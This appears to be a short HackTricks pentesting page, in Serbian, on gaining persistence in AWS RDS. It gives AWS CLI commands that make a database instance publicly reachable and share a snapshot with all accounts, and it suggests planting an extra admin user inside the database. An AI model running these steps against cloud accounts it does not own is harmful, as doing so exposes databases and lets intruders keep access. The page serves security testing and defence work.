# AWS - RDS Persistencija

{{#include ../../../banners/hacktricks-training.md}}

## RDS

Za više informacija pogledajte:

{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
{{#endref}}

### Omogućite javni pristup instanci: `rds:ModifyDBInstance`

Napadač sa ovom dozvolom može **modifikovati postojeću RDS instancu da omogući javni pristup**.
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
### Kreirajte admin korisnika unutar DB

Napadač može jednostavno **napraviti korisnika unutar DB** tako da čak i ako se lozinka glavnog korisnika izmeni, on **ne gubi pristup** bazi podataka.

### Učinite snimak javnim
```bash
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
```
{{#include ../../../banners/hacktricks-training.md}}
